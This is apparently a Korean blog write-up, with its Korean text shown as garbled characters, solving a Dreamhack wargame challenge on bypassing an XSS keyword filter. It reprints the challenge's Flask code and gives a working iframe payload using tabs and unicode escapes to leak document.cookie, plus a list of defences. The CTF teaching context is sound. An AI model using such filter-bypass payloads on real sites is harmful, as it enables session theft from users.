๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_ClientSide

[Dreamhack] Level3: XSS Filtering Bypass Advanced

by Yun2๐Ÿ‘ 2023. 9. 2.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

Exercise: XSS Filtering Bypass์˜ ํŒจ์น˜๋œ ๋ฌธ์ œ์ด๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

#1


: '/'  ํŽ˜์ด์ง€์—์„œ vuln(xss) page, memo, flag ํŽ˜์ด์ง€๋กœ ์ ‘์†ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

: '/vuln' ํŽ˜์ด์ง€์—์„œ param์ด๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ์— ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐ˜์‘์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

: xss ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ๊ฒƒ ๊ฐ™๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

: '/memo' ํŽ˜์ด์ง€์—์„œ memo๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ์— ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ์ถœ๋ ฅ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ์ด์šฉํ•ด ์ด ํŽ˜์ด์ง€์—์„œ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค.

 

: '/flag' ํŽ˜์ด์ง€์—์„œ POST ๋ฐฉ์‹์œผ๋กœ xss ์ทจ์•ฝ์ ์˜ ์œ„์น˜์— ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ์ œ์ถœํ•˜๋ฉด FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 

#2


def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

: ๋‹ค์Œ๊ณผ ๊ฐ™์ด script, on, javascript, window, self, ...๋ผ๋Š” ๋‹จ์–ด๋Š” ํ•„ํ„ฐ๋ง๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

: ํ•˜์ง€๋งŒ ํ•„ํ„ฐ๋ง ์ž์ฒด๋Š” ๋ฏธํกํ•œ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

:  tab์„ url์ธ์ฝ”๋”ฉํ•œ(%09) ๊ฐ’๊ณผ ๋ฐฑํ‹ฑ์„ ์ด์šฉํ•ด์„œ ์Šคํฌ๋ฆฝํŠธ๋ฌธ์ด ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์ด ํ™•์ธ๋๋‹ค.

: ์ด๋ ‡๋“ฏ ํ•„ํ„ฐ๋ง์ด ๋ฏธํกํ•˜๊ฒŒ ์ฒ˜๋ฆฌ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์–‘ํ•˜๊ฒŒ xss ์šฐํšŒ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

<iframe src="javascri pt:locati\u006Fn.href='/memo?memo='+d\u006Fcument.cookie">
#<iframe src="javascript:location.href='memo?memo='+document.cookie">

: Unicode escape sequence์™€ Tab์„ ์ด์šฉํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

-issue-

: ํ•„ํ„ฐ๋ง์ด ์ „๋ณด๋‹ค ์ž˜ ๋˜์–ด์žˆ์–ด์„œ ์šฐํšŒํ•˜๊ธฐ ์‰ฝ์ง€ ์•Š์•˜๋‹ค..: ์ด์™ธ์—๋„ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 

๐Ÿ“ŒSummary


ํ•„ํ„ฐ๋ง ์šฐํšŒ ์ ‘๊ทผ๋“ค์€ ์ด๊ฒƒ ์ด์™ธ์—๋„ ๋‹ค์–‘ํ•˜๊ฒŒ ๋ฐœ์ƒ ํ•  ์ˆ˜ ์žˆ์Œ

 

- XSS ์šฐํšŒ ๊ณต๊ฒฉ ๋Œ€์‘๋ฐฉ์•ˆ -

- ์ž…๋ ฅ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ

- ์ปจํ…์ŠคํŠธ ์ธ์‹ ์ถœ๋ ฅ ์ธ์ฝ”๋”ฉ

- ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP)

- HTTP ์ „์šฉ ์ฟ ํ‚ค

- ๋™์  ๋ฐ์ดํ„ฐ๋ฅผ ์ ์ ˆํ•˜๊ฒŒ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌ

- WAF ์‚ฌ์šฉ

- ์ •๊ธฐ ๋ณด์•ˆ ์—…๋ฐ์ดํŠธ ๋ฐ ํŒจ์น˜

- ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋ฐ ์ฝ”๋“œ ๊ฒ€ํ† 

 

XSS ๊ณต๊ฒฉ์€ ๋‹ค์–‘ํ•˜๊ฒŒ ๋ณ€ํ˜•ํ•˜์—ฌ ์ ์šฉํ•  ์ˆ˜ ์žˆ๊ณ , ์ƒˆ๋กœ์šด ์šฐํšŒ ๊ธฐ์ˆ ์ด ๊ณ„์† ๋‚˜ํƒ€๋‚  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ตœ์‹  ๋ณด์•ˆ ๋ชจ๋ฒ” ์‚ฌ๋ก€๋กœ ์ตœ์‹  ์ •๋ณด๋ฅผ ์œ ์ง€ ๋ฐ ์ง€์†์  ๋ชจ๋‹ˆํ„ฐ๋ง ์ค‘์š”

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_ClientSide' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level3: CSP Bypass Advanced  (0) 2024.01.17
[Dreamhack] Level2: CSP Bypass  (0) 2023.11.18
[Dreamhack] Level1: XSS Filtering Bypass  (0) 2023.08.28